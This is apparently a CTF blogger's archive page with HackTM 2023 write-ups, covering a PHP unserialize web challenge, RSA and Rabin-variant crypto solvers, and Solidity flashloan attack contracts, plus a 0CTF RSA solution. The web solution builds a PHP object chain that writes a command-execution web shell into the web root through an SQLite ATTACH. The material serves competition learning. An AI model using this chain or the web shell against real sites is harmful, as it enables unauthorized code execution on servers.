Basically, the encryption system works as follows. 

  • Select one prime $p$ from a fixed array
  • Select one prime $q$ from a fixed array 
  • Select $0 \le s \le 4$ and choose $e = 2^{2^s} + 1$
  • Textbook RSA encrypt data, little-endian it, append some values ($s$ and the indexes for $p, q$)
  • XOR the password, reverse the data, then base64 encode it 

As we know the fixed array of primes and the password, the decryption is easy. 

 

'CTF' 카테고리의 다른 글

Paradigm CTF 2023 2nd Place  (0) 2023.10.31
CODEGATE 2023 Finals - The Leakers (1 solve)  (1) 2023.08.25
HackTM CTF Writeup  (0) 2023.02.22
BlackHat MEA Finals  (0) 2022.11.21
CODEGATE 2022 Finals: Look It Up  (0) 2022.11.09

I participated as rkm0959_test and somehow got 10th place. Initially wanted to take a brief look at the cryptography challs, ended up calling two friends and managed to clinch finals. Not sure if I'll be over there, though. Need to decide... Brief writeups, as I'm tired.

 

For the challenges, see https://hackmd.io/@y011d4/rJfWwERTj

 

Also need to upsolve the cryptography challenges. A lot of stuff to do...

 

Web - Blog

 

The solver tells me that there is a unserialize vulnerability in cookies, so change the db path of sqlite and create a php file.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
<?php
class Post {
    public $title;
    public $content;
    public $comments;
 
    public function __construct($title$content) {
        $this->title = $title;
        $this->content = $content;
    }
 
    public function __toString() {
        $comments = $this->comments;
        // comments are bugged for now, but in future it might be re-implemented
        // when it is, just append $comments_fallback to $out
        if ($comments !== null) {
            $comments_fallback = $this->$comments;
        }
 
        $conn = new Conn;
        $conn->queries = array(new Query(
            "select id from posts where title = :title and content = :content",
            array(":title" => $this->title, ":content" => $this->content)
        ));
        $result = $conn();
        if ($result[0=== false) {
            return "";
        } else {
            return "
            <div class='card'> 
                <h3 class='card-header'>{$this->title}</h3>
                <div class='card-body'>
                    <p class='card-text'>{$this->content}</p>
                </div>
                <div class='card-footer'>
                    <input class='input-group-text' style='font-size: 12px;' disabled value='Commenting is disabled.' />
                </div>
            </div>
            ";
        }
    }
}
 
class User {
    public $profile;
    public $posts = array();
 
    public function __construct($username) {
        $this->profile = new Profile($username);
    }
 
    // get user profile
    public function get_profile() {
        // some dev apparently mixed up user and profile... 
        // so this check prevents any more errors
        if ($this->profile instanceof User) {
            return "@i_use_vscode please fix your code";
        } else {
            // quite unnecessary to assign to a variable imho
            $profile_string = "
            <div>{$this->profile}</div>
            ";
            return $profile_string;
        }
    }
 
    public function get_posts() {
        // check if we've already fetched posts before to save some overhead
        // (our poor sqlite db is dying)
        if (sizeof($this->posts) !== 0) {
            return "Please reload the page to fetch your posts from the database";
        }
 
        // get all user posts
        $conn = new Conn;
        $conn->queries = array(new Query(
            "select title, content from posts where user = :user",
            array(":user" => $this->profile->username)
        ));
 
        // get posts from database
        $result = $conn();
        if ($result[0!== false) {
            while ($row = $result[0]->fetchArray(1)) {
                $this->posts[] = new Post($row["title"], $row["content"]);
            }
        }
 
        // build the return string
        $out = "";
        foreach ($this->posts as $post) {
            $out .= $post;
        }
        return $out;
    }
 
    // who put this?? git blame moment (edit: i checked, it's @i_use_vscode as usual)
    public function __toString() {
        $profile = $this->profile;
        return $profile();
    }
}
 
class Profile {
    public $username;
    public $picture_path = "images/real_programmers.png";
 
    public function __construct($username) {
        $this->username = $username;
    }
 
    // hotfix for @i_use_vscode (see line 97)
    // when removed, please remove this as well
    public function __invoke() {
        if (gettype($this->picture_path) !== "string") {        
            return "<script>window.location = '/login.php'</script>";
        }
 
        $picture = base64_encode(file_get_contents($this->picture_path));
 
        // check if user exists
        $conn = new Conn;
        $conn->queries = array(new Query(
            "select id from users where username = :username",
            array(":username" => $this->username)
        ));
        $result = $conn();
        if ($result[0=== false || $result[0]->fetchArray() === false) {
            return "<script>window.location = '/login.php'</script>";
        } else {
            return "
            <div class='card'>
                <img class='card-img-top profile-pic' src='data:image/png;base64,{$picture}'> 
                <div class='card-body'>
                    <h3 class='card-title'>{$this->username}</h3>
                </div>
            </div>
            ";
        }
    }
 
    // this is the correct implementation :facepalm:
    public function __toString() {
        if (gettype($this->picture_path) !== "string") {        
            return "";
        }
 
        $picture = base64_encode(file_get_contents($this->picture_path));
 
        // check if user exists
        $conn = new Conn;
        $conn->queries = array(new Query(
            "select id from users where username = :username",
            array(":username" => $this->username)
        ));
        $result = $conn();
        if ($result[0=== false || $result[0]->fetchArray() === false) {
            return "<script>window.location = '/login.php'</script>";
        } else {
            return "
            <div class='card'>
                <img class='card-img-top profile-pic' src='data:image/png;base64,{$picture}'> 
                <div class='card-body'>
                    <h3 class='card-title'>{$this->username}</h3>
                </div>
            </div>
            ";
        }
    }
}
 
 
class Conn {
    public $queries;
 
    // old legacy code - idk what it does but not touching it...
    public function __invoke() {
        $conn = new SQLite3("/sqlite3/db");
        $result = array();
 
        // on second thought, whoever wrote this is a genius
        // its gotta be @i_use_neovim
        foreach ($this->queries as $query) {
            if (gettype($query->query_string) !== "string") {
                return "Invalid query.";
            }
            $stmt = $conn->prepare($query->query_string);
            foreach ($query->args as $param => $value) {
                if (gettype($value=== "string" || gettype($value=== "integer") {
                    $stmt->bindValue($param$value);
                } else {
                    $stmt->bindValue($param"");
                }
            }
            $result[] = $stmt->execute();
        }
 
        return $result;
    }
}
 
class Query {
    public $query_string = "";
    public $args;
 
    public function __construct($query_string$args) {
        $this->query_string = $query_string;
        $this->args = $args;
    }
 
    // for debugging purposes
    public function __toString() {
        return $this->query_string;
    }
}
 
$conn = new Conn;
$conn->queries = array(new Query(
    "attach database '/var/www/html/2ji1234312.php' as lol",
    array()
),new Query(
    "create table lol.pwn (dataz text)",
    array()
),new Query(
    "insert into lol.pwn (dataz) values ('1234<? system(\$_GET[0]);?>')",
    array()
));
 
// $conn->queries = array(new Query(
//     ".clone /var/www/html/ji1234312.php",
//     array()
// ));
 
 
 
$data = "Tzo0OiJVc2VyIjoyOntzOjc6InByb2ZpbGUiO086NzoiUHJvZmlsZSI6Mjp7czo4OiJ1c2VybmFtZSI7czo3OiJxd2VycWEyIjtzOjEyOiJwaWN0dXJlX3BhdGgiO3M6Mjc6ImltYWdlcy9yZWFsX3Byb2dyYW1tZXJzLnBuZyI7fXM6NToicG9zdHMiO2E6MDp7fX0=";
$user = unserialize(base64_decode($data));
 
echo var_dump($user);
 
// $user->profile->picture_path = "/sqlite3/db";
// $user->profile = $conn;
$user->profile->username = unserialize(base64_decode($data));
// $user->profile = "phpinfo";
$user->profile->username->profile="phpinfo";
$user->profile->username->profile=$conn;
echo var_dump($user);
echo base64_encode(serialize(($user)));
cs

 

Crypto - d_phi_enc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from Crypto.Util.number import bytes_to_long, getStrongPrime
 
from secret import flag
 
assert len(flag) == 255
= 3
= getStrongPrime(1024, e=e)
= getStrongPrime(1024, e=e)
= p * q
phi = (p - 1* (q - 1)
= pow(e, -1, phi)
enc_d = pow(d, e, n)
enc_phi = pow(phi, e, n)
enc_flag = pow(bytes_to_long(flag), e, n)
print(f"{n = }")
print(f"{enc_d = }")
print(f"{enc_phi = }")
print(f"{enc_flag = }")
 
cs

 

You are given $d^3 \pmod{n}$ and $\phi^3 \pmod{n}$, with RSA parameters where $e=3$. 

Since $3d = 1 + \phi$ or $3d = 1 + 2 \phi$, we essentially have two polynomial equations on $d$. GCD works.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def GCD(f, g, n):
    g = g % f
    if g == 0:
        return f
    t = g.lc()
    if gcd(t, n) != 1:
        print(t)
        exit()
    tt = inverse_mod(Integer(t), n)
    g = g * tt
    return GCD(g, f, n)
 
 
# 3d = phi + 1
# 3d = 2phi + 1
 
PR = PolynomialRing(Zmod(n), 'x')
= PR.gen()
 
= x * x * x - Zmod(n)(enc_d)
= (3 * x - 1** 3 - Zmod(n)(enc_phi)
 
= (3 * x - 1** 3 - Zmod(n)(enc_phi) * 8
 
 
print(GCD(f, g, n))
print(GCD(f, h, n))
cs

 

Crypto - kaitzensushi

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from math import gcd
from Crypto.Util.number import bytes_to_long, isPrime
 
from secret import p, q, x1, y1, x2, y2, e, flag
 
# properties of secret variables
assert isPrime(p) and p.bit_length() == 768
assert isPrime(q) and q.bit_length() == 768
assert isPrime(e) and e.bit_length() == 256
assert gcd((p - 1* (q - 1), e) == 1
assert x1.bit_length() <= 768 and x2.bit_length() <= 768
assert y1.bit_length() <= 640 and y2.bit_length() <= 640
assert x1 ** 2 + e * y1 ** 2 == p * q
assert x2 ** 2 + e * y2 ** 2 == p * q
 
# encrypt flag by RSA, with xor
= p * q
= pow(bytes_to_long(flag) ^^ x1 ^^ y1 ^^ x2 ^^ y2, e, n)
print(f"{n = }")
print(f"{c = }")
 
# hints 🍣
= RealField(1337)
= vector(F, [x1, x2])
= vector(F, [y1, y2])
# rotate
theta = F.random_element(min=-pi, max=pi)
= matrix(F, [[cos(theta), -sin(theta)], [sin(theta), cos(theta)]])
= R * x
= R * y
print(f"{x = }")
print(f"{y = }")
 
cs

 

There are a lot of stuff to process. First, as $R$ is a rotation matrix, you can compute $x_1^2 + x_2^2$ and $y_1^2 + y_2^2$. However, due to the precision, only the integer value of $y_1^2 + y_2^2$ can be computed exactly, and the value of $x_1^2 + x_2^2$ has a bit of an error range. However, as we have $$(x_1^2 + x_2^2) + e (y_1^2 + y_2^2) = 2n$$ we can do some basic bounding to recover $e$ and the actual value of $x_1^2 + x_2^2$ as well. 

 

You can also compute the rough values of $x_1y_1 + x_2y_2$ as this is the inner product of the two values, which doesn't change under rotation. Similar for $x_1y_2 - x_2y_1$. However, there are some precision issues which lead to the exact computation of these two values difficult.

 

To overcome this, we use the equation $$(x_1y_1+x_2y_2)^2 + (x_1y_2 - x_2y_1)^2 = (x_1^2+ x_2^2)(y_1^2+y_2^2)$$ which we know the precise value of. With this equation, some standard lattice tricks with some more bounding can recover the exact value of $x_1y_1 + x_2y_2$ and $x_1 y_2 - x_2y_1$. Now one can recover the full values of $x_1, x_2, y_1, y_2$ algebraically - I just did some resultants stuff over $\mathbb{F}_p$ for some random large $p$, but other methods will work. Now it suffices to factor $n$. 

 

Here, we note that $$(x_1/y_1)^2 + e \equiv (x_2/y_2)^2 + e \equiv 0 \pmod{n}$$ so one can hope that $x_1/y_1$ and $x_2/y_2$ differ in one of $\pmod{p}$ and $\pmod{q}$, so usual GCD tricks work. This happens to be the case.

 

exploit is at https://github.com/rkm0959/Cryptography_Writeups/tree/main/2023/HTMCTF 

 

Crypto - broken oracle

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
#!/usr/local/bin/python3
"""
implementation of https://www.cs.umd.edu/~gasarch/TOPICS/miscrypto/rabinwithrecip.pdf
"""
import os
import random
from dataclasses import dataclass
from math import gcd
from typing import List, Tuple
 
import gmpy2
from Crypto.Util.number import bytes_to_long, getPrime
 
from secret import flag
 
 
@dataclass
class Pubkey:
    n: int
    c: int
 
 
@dataclass
class Privkey:
    p: int
    q: int
 
 
@dataclass
class Enc:
    r: int
    s: int
    t: int
 
    def __repr__(self-> str:
        return f"r = {self.r}\ns = {self.s}\nt = {self.t}"
 
 
def crt(r1: int, n1: int, r2: int, n2: int-> int:
    g, x, y = gmpy2.gcdext(n1, n2)
    assert g == 1
    return int((n1 * x * r2 + n2 * y * r1) % (n1 * n2))
 
 
def gen_prime(pbits: int-> int:
    p = getPrime(pbits)
    while True:
        if p % 4 == 3:
            return p
        p = getPrime(pbits)
 
 
def genkey(pbits: int-> Tuple[Pubkey, Privkey]:
    p, q = gen_prime(pbits), gen_prime(pbits)
    n = p * q
    c = random.randint(0, n - 1)
    while True:
        if gmpy2.jacobi(c, p) == -1 and gmpy2.jacobi(c, q) == -1:
            break
        c = random.randint(0, n - 1)
    pubkey = Pubkey(n=n, c=c)
    privkey = Privkey(p=p, q=q)
    return pubkey, privkey
 
 
def encrypt(m: int, pub: Pubkey) -> Enc:
    assert 0 < m < pub.n
    assert gcd(m, pub.n) == 1
    r = int((m + pub.c * pow(m, -1, pub.n)) % pub.n)
    s = int(gmpy2.jacobi(m, pub.n))
    t = int(pub.c * pow(m, -1, pub.n) % pub.n < m)
    enc = Enc(r=r, s=s, t=t)
    assert s in [1-1]
    assert t in [01]
    return enc
 
 
def solve_quad(r: int, c: int, p: int-> Tuple[intint]:
    """
    Solve x^2 - r * x + c = 0 mod p
    See chapter 5.
    """
 
    def mod(poly: List[int]) -> None:
        """
        Calculate mod x^2 - r * x + c (inplace)
        """
        assert len(poly) == 3
        if poly[2== 0:
            return
        poly[1+= poly[2* r
        poly[1] %= p
        poly[0-= poly[2* c
        poly[0] %= p
        poly[2= 0
 
    def prod(poly1: List[int], poly2: List[int]) -> List[int]:
        """
        Calculate poly1 * poly2 mod x^2 - r * x + c
        """
        assert len(poly1) == 3 and len(poly2) == 3
        assert poly1[2== 0 and poly2[2== 0
        res = [
            poly1[0* poly2[0] % p,
            (poly1[1* poly2[0+ poly1[0* poly2[1]) % p,
            poly1[1* poly2[1] % p,
        ]
        mod(res)
        assert res[2== 0
        return res
 
    # calculate x^exp mod (x^2 - r * x + c) in GF(p)
    exp = (p - 1// 2
    res_poly = [100]  # = 1
    cur_poly = [010]  # = x
    while True:
        if exp % 2 == 1:
            res_poly = prod(res_poly, cur_poly)
        exp //= 2
        if exp == 0:
            break
        cur_poly = prod(cur_poly, cur_poly)
 
    # I think the last equation in chapter 5 should be x^{(p-1)/2}-1 mod (x^2 - Ex + c)
    # (This change is not related to vulnerability as far as I know)
    a1 = -(res_poly[0- 1* pow(res_poly[1], -1, p) % p
    a2 = (r - a1) % p
    return a1, a2
 
 
def decrypt(enc: Enc, pub: Pubkey, priv: Privkey) -> int:
    assert 0 <= enc.r < pub.n
    assert enc.s in [1-1]
    assert enc.t in [01]
    mps = solve_quad(enc.r, pub.c, priv.p)
    mqs = solve_quad(enc.r, pub.c, priv.q)
    ms = []
    for mp in mps:
        for mq in mqs:
            m = crt(mp, priv.p, mq, priv.q)
            if gmpy2.jacobi(m, pub.n) == enc.s:
                ms.append(m)
    assert len(ms) == 2
    m1, m2 = ms
    if m1 < m2:
        m1, m2 = m2, m1
    if enc.t == 1:
        m = m1
    elif enc.t == 0:
        m = m2
    else:
        raise ValueError
    return m
 
 
if __name__ == "__main__":
    pbits = 1024
    pub, priv = genkey(pbits)
    while len(flag) < 255:
        flag += os.urandom(1)
    enc_flag = encrypt(bytes_to_long(flag), pub)
    print("encrypted flag:")
    print(enc_flag)
    while True:
        try:
            r, s, t = map(int, input("r, s, t = ").split(","))
            enc = Enc(r=r, s=s, t=t)
            enc_dec_enc = encrypt(decrypt(enc, pub, priv), pub)
            print("decrypt(encrypt(input)):")
            print(enc_dec_enc)
        except Exception:
            print("Something wrong...")
 
cs

 

The clear issue here is that the decrypt function doesn't care if a solution to $x^2 - rx + c \equiv 0 \pmod{p}$ exists. 

In this case, the result of $x + c / x$ would not be once again equal to $r$, which will makes things interesting.

 

To dive further into this, let's send enc-dec queries of $(r_0, \{-1, 1\}, \{0, 1\})$ and see the results - we are more focused on the $r$ values of the result. We would think that all the $r$ values would be $r_0$, but some experimentation shows that it isn't the case - there are sometimes a single unique $r$ value, two unique $r$ values, or four unique $r$ values. Here, we ignore the error cases (asserts) as they are not needed.

 

The interesting case is where there are two unique $r$ values. In this case, the intuition is that $\pmod{p}$ side of the things worked out, but $\pmod{q}$ side didn't. So while $x + c / x$ values agree each other in $\pmod{p}$, it didn't on $\pmod{q}$.

In other words, the difference of the two $r$ values would be a multiple of $p$, but not $q$, a perfect scenario for GCD ideas. 

 

This allows us to get $n$. Try out various $r_0$ values, and if there are two unique $r$ values, collect the difference. For each pair of differences, take the GCD. If it is non-trivial, it would be a prime divisor of $n$. After enough collection we can recover both $p, q$. 

 

Now we need to get $c$. Here, we note that even when the $x^2 - rx + c \equiv 0 \pmod{p}$ didn't work out, the two returned solutions add up to $r$. This can be used to set up a two-variable, two-equation system over $\pmod{p}$, where one variable is $a_1$ of the solve_quad and the other is $c$. This can be solved easily via various methods. Since we have $p, q, n, c$ and the encrypted flag, the rest is easy.

 

exploit is in https://github.com/rkm0959/Cryptography_Writeups/blob/main/2023/HTMCTF/oracle.py 

 

Smart Contract - Dragon Slayer

Basically you need to get all the items and dunk on the dragon. There is a safeMint hook on the bank note, so that's a vector.

 

It turns out that split function, along with the safeMint hook, can be used as a flashloan. So just kill the dragon and return the loan.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
contract Attack{
 
    Setup public setup = Setup(0xe8ceEa61E72Dc3A1eb3298f8E59D72F17C1da827);
    Knight public knight;
    Bank public bankObj;
    GoldCoin public gcObj;
    Shop public shopObj;
    bool public claimed;
    uint256 public myTokenId = type(uint256).max;
 
 
    function run() public {
        knight = setup.knight();
        setup.claim();
 
        bankObj = knight.bank();
        gcObj = knight.goldCoin();
        shopObj = knight.shop();
 
        console.log("goldcoin address : %s", address(gcObj));
        console.log("bank address : %s", address(bankObj));
 
        console.log("my gold balance : %d", IERC20(gcObj).balanceOf(address(this)));
 
        console.log("address(this) : %s", address(this));
        console.log("knight contract owner : %s", knight.owner());
 
        uint256[] memory mergeArr = new uint256[](0);
        bankObj.merge(mergeArr);
 
        uint256 knightBalance = IERC20(gcObj).balanceOf(address(knight));
        knight.bankDeposit(knightBalance);
 
        console.log("bankNoteValues : %d", bankObj.bankNoteValues(1));
        knight.bankTransferPartial(2, knightBalance, 1);
 
        console.log("bankNoteValues after bankTransferPartial: %d", bankObj.bankNoteValues(1));
 
        uint256[] memory splitAmounts = new uint256[](2);
        splitAmounts[0= 2_000_000 ether;
        splitAmounts[1= 0;
        bankObj.split(1, splitAmounts);
    }
 
    uint256 public Counter = 0;
    function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata) external returns (bytes4) {
        if(myTokenId==type(uint256).max){
            myTokenId = tokenId;
            console.log("my receive first token's id : %d", tokenId);
            return this.onERC721Received.selector;
        }
        Counter+=1;
        if(Counter==2){
            bankObj.withdraw(myTokenId);
            console.log("my Balance : %d", IERC20(gcObj).balanceOf(address(this)));
            IERC20(gcObj).transfer(address(knight), IERC20(gcObj).balanceOf(address(this)));
            knight.buyItem(3);
            knight.buyItem(4);
            console.log("buyItem completed...");
 
            console.log("knight attack : %d", knight.attack());
            console.log("knight defence : %d", knight.defence());
            knight.fightDragon();
            knight.fightDragon();
            if(knight.health() > 0 && knight.dragon().health() == 0) {
                console.log("win!!!");
                knight.sellItem(3);
                knight.sellItem(4);
                knight.bankDeposit(IERC20(gcObj).balanceOf(address(knight)));
 
                knight.bankTransferPartial(tokenId+1, 2_000_000 ether - 10 ether, 1);
 
                console.log("bankNoteValues : %d", bankObj.bankNoteValues(1));
                console.log("isSolved-----");
                console.logBool(setup.isSolved());
            }
        }
        myTokenId = tokenId;
        return this.onERC721Received.selector;
    }
 
    function onERC1155Received(address, address, uint256, uint256, bytes calldata) external returns (bytes4) {
        return this.onERC1155Received.selector;
    }
}
contract CounterScript is Script {
 
    function run() public {vm.startBroadcast();(new Attack()).run();}
}
cs

 

 

Smart Contract - Diamond Heist

Sushiswap delegation double spending bug + Flashloan + UUPSUpgrade to Attack Contract

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
contract Attack{
    SaltyPretzel s;
    address b;
    constructor(SaltyPretzel _s, address _b) {
        s = _s;
        b = _b;
        // s.delegate(msg.sender);
    }
    function go() external {
        s.delegate(b);
        s.transfer(msg.sender, 100 ether);
        selfdestruct(payable(address(this)));
    }
}
contract TVault is Initializable, UUPSUpgradeable, OwnableUpgradeable {
    uint constant public AUTHORITY_THRESHOLD = 10_000 ether;
    Diamond diamond;
    SaltyPretzel saltyPretzel;
    function flashloan(address token, uint amount, address receiver) external {
        IERC20(token).transfer(receiver, amount);
    }
    function _authorizeUpgrade(address) internal override view {}
    function proxiableUUID() external view virtual override returns (bytes32){
        return 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
    }
}
contract Attack2{
    Vault s;
    Diamond d;
    constructor(Vault _s, Diamond _d) {
        s = _s;
        d = _d;
    }
    function go() external {
        s.flashloan(address(d), 100, address(this));
    }
    function onFlashLoan(
        address initiator,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata data
    ) external returns (bytes32) {
        Vault(msg.sender).governanceCall(abi.encodeWithSelector(0x3659cfe6, address(new TVault())));
        // TVault(msg.sender).upgradeTo(address(new TVault()));
        d.transfer(msg.sender, 100);
    }
}
contract Jinu{
    SaltyPretzel s;
    address b;
    constructor(SaltyPretzel _s, address _b) {
        s = _s;
        b = _b;
        // s.delegate(msg.sender);
    }
    function go() external {
        for(uint i=0;i<10;i++){
            Attack a = new Attack(s, address(b));
            s.transfer(address(a), 100 ether);
            a.go();
            console.log("saltyPretzel.getCurrentVotes(address(b))/1e18: %d", s.getCurrentVotes(address(b))/1e18);
        }
        s.transfer(msg.sender, 100 ether);
        selfdestruct(payable(address(this)));
    }
}
contract ContractTest is Script {
    Setup setup;
    VaultFactory public vaultFactory;
    Vault public vault;
    Diamond public diamond;
    SaltyPretzel public saltyPretzel;
    function setUp() public {
        setup = new Setup();
        vaultFactory = setup.vaultFactory();
        vault = setup.vault();
        diamond = setup.diamond();
        saltyPretzel = setup.saltyPretzel();
    }
    function run() public {
        vm.startBroadcast();
        // setup = new Setup();
        setup = Setup(address(0x42490f6d111122F2cfa0E59c71E3D6C8dBA4016D));
        vaultFactory = setup.vaultFactory();
        vault = setup.vault();
        diamond = setup.diamond();
        saltyPretzel = setup.saltyPretzel();
        // // step 1
        // {
        //     // Attack2 b = new Attack2(vault, diamond);
        //     // setup.claim();
        //     Attack2 b = Attack2(0xf0a6BE5837d068BC30af969976F87B7660640a1c);
            
        //     console.log(address(b));
        //     console.log("saltyPretzel.getCurrentVotes(address(b))/1e18: %d", saltyPretzel.getCurrentVotes(address(b))/1e18);
            
        //     // if(!setup.claimed()){
        //         // setup.claim();
        //     // }
        //     Jinu j = new Jinu(saltyPretzel, address(b));
            
        //     saltyPretzel.transfer(address(j), 100 ether);
        //     j.go();
        //     console.log("saltyPretzel.getCurrentVotes(address(b))/1e18: %d", saltyPretzel.getCurrentVotes(address(b))/1e18);
        //     // console.log("saltyPretzel.getCurrentVotes(address(this))/1e18: %d", saltyPretzel.getCurrentVotes(address(this))/1e18);
        //     console.log(address(b));
        // }
        // // step 2
        {
            Attack2 b = Attack2(0xf0a6BE5837d068BC30af969976F87B7660640a1c);
            // saltyPretzel.delegate(address(b));
            console.log("saltyPretzel.getCurrentVotes(address(b))/1e18: %d", saltyPretzel.getCurrentVotes(address(b))/1e18);
            b.go();
            vault.flashloan(address(diamond), 100, address(setup));
            // Attack a = new Attack(saltyPretzel);
            // saltyPretzel.transfer(address(a), 100 ether);
            // console.log("saltyPretzel.getCurrentVotes(address(this))/1e18: %d", saltyPretzel.getCurrentVotes(address(this))/1e18);
            // console.log("saltyPretzel.getCurrentVotes(address(a))/1e18: %d", saltyPretzel.getCurrentVotes(address(a))/1e18);
            // a.go();
            // console.log("saltyPretzel.getCurrentVotes(address(this))/1e18: %d", saltyPretzel.getCurrentVotes(address(this))/1e18);
            // console.log("saltyPretzel.getCurrentVotes(address(a))/1e18: %d", saltyPretzel.getCurrentVotes(address(a))/1e18);
            // console.log("Knight: %d", knight.health());
            // console.log("Dragon: %d", dragon.health());
            console.log(setup.isSolved());
        }
    }
}
cs

 

'CTF' 카테고리의 다른 글

CODEGATE 2023 Finals - The Leakers (1 solve)  (1) 2023.08.25
ACSC 2023 Writeups  (0) 2023.02.26
BlackHat MEA Finals  (0) 2022.11.21
CODEGATE 2022 Finals: Look It Up  (0) 2022.11.09
0CTF 2022 ezRSA+++  (0) 2022.09.19

 

BlackHat MEA에서 2등했습니다. 인당 40000 SAR ~ $10500 정도 가져가게 될 것 같습니다.

'CTF' 카테고리의 다른 글

ACSC 2023 Writeups  (0) 2023.02.26
HackTM CTF Writeup  (0) 2023.02.22
CODEGATE 2022 Finals: Look It Up  (0) 2022.11.09
0CTF 2022 ezRSA+++  (0) 2022.09.19
0CTF 2022 TCTF NFT Market  (0) 2022.09.19

https://zkresear.ch/t/codegate-ctf-2022-look-it-up-writeup-deeper-look-at-plookup/47

 

CODEGATE CTF 2022: Look It Up Writeup | Deeper Look at PLOOKUP

Introduction On November 7th to 8th, the annual cybersecurity conference called CODEGATE was held in South Korea. Alongside with, a 24 hour CTF was held, where the world’s top cybersecurity researchers solved various challenges on pwn, reverse engineerin

zkresear.ch

 

'CTF' 카테고리의 다른 글

HackTM CTF Writeup  (0) 2023.02.22
BlackHat MEA Finals  (0) 2022.11.21
0CTF 2022 ezRSA+++  (0) 2022.09.19
0CTF 2022 TCTF NFT Market  (0) 2022.09.19
WACon 2022 Quals: RSA Secret Sharing  (0) 2022.06.27

Problem Description

We are given a 2000-bit RSA modulus $n$, with public exponent $e$. 

Here, we have $d_p, d_q < 2^{105}$ where $d_p, d_q$ are inverses of $e$ modulo $p-1, q-1$. 

We are given $d_p \pmod{2^{55}}, d_q \pmod{2^{55}}$ as a hint. We need to factor $n$. 

 

Solution

In the paper "Twenty Years of Attacks on the RSA Cryptosystem", there's a note that there is a $\tilde{\mathcal{O}}(\sqrt{d_p})$ attack against CRT-RSA. Since we don't know only 50 bits of $d_p$, it's worth thinking about whether the same attack works here. It turns out that it does! 

 

I explained the attack in my blog a few years ago (Korean), and I turned it into a challenge in picoCTF 2021.  

 

For completeness, I'll explain the full solution here. The idea is meet in the middle. We see that $$ \prod_{j=0}^{2^{25} - 1} \prod_{i=0}^{2^{25} - 1} \left( m^{e (hint_p + (i \cdot 2^{25} + j) \cdot 2^{55})} - m \right)$$ will be a multiple of $p$. This is because when we hit the pair $(i, j)$ such that $$hint_p + i \cdot 2^{80} + j \cdot 2^{55} = d_p$$ we'll multiply $$m^{ed_p} - m \equiv 0 \pmod{p}$$ into the product. To compute this, we write $$G(x) = \prod_{i=0}^{2^{25} - 1} \left( m^{e (hint_p + i \cdot 2^{80})} \cdot x - m \right)$$ Denoting $$z = m^{e \cdot 2^{55}} \pmod{n}$$ we see that it now suffices to compute $$G(z^0), G(z^1), \cdots G(z^{2^{25} - 1})$$ which is now a polynomial computation problem. To this, there are two methods. 

 

In the picoCTF, the challenge size was not too large - therefore, less optimal methods worked. At the time, the model solution was divide & conquer + FFT to compute $G$ in $\mathcal{O}(\sqrt{d_p} \log^2 \sqrt{d_p})$ time, and then using multipoint evaluation algorithm to evaluate it over the needed points. This method requires polynomial division, and overall has a quite large overhead. This is implemented in the github link above. 

 

Here, the size of the challenge is $2^{25}$ with 2000 bit modulus, so we need to be faster. To do so, we compute $G$ using the same method i.e. divider & conquer + FFT, but instead of using generic multipoint evaluation algorithms we note that the points we need to evaluate $G$ is geometric. Therefore, we may utilize the awesome Chirp-Z transform to our advantage. This will enable us to compute all evaluations with a single logarithm factor. This is what we implemented. For more information on Chirp-Z transform, check cp-algorithms.

 

However, there are quite a lot of obstacles due to large problem size - it took us over 24 hours to actually get the flag.

  • first, the FFT size in sagemath is apparently capped, so it can't multiply two polynomials of degree $2^{24}$
  • therefore, to multiply large polynomials, we have to split the polynomial and multiply in pieces ourselves
  • it turns out that this solution requires at least 128GB of RAM, and even this requires some memory optimizations
  •  on a good computing environment, our solution takes about 4~5 hours. 

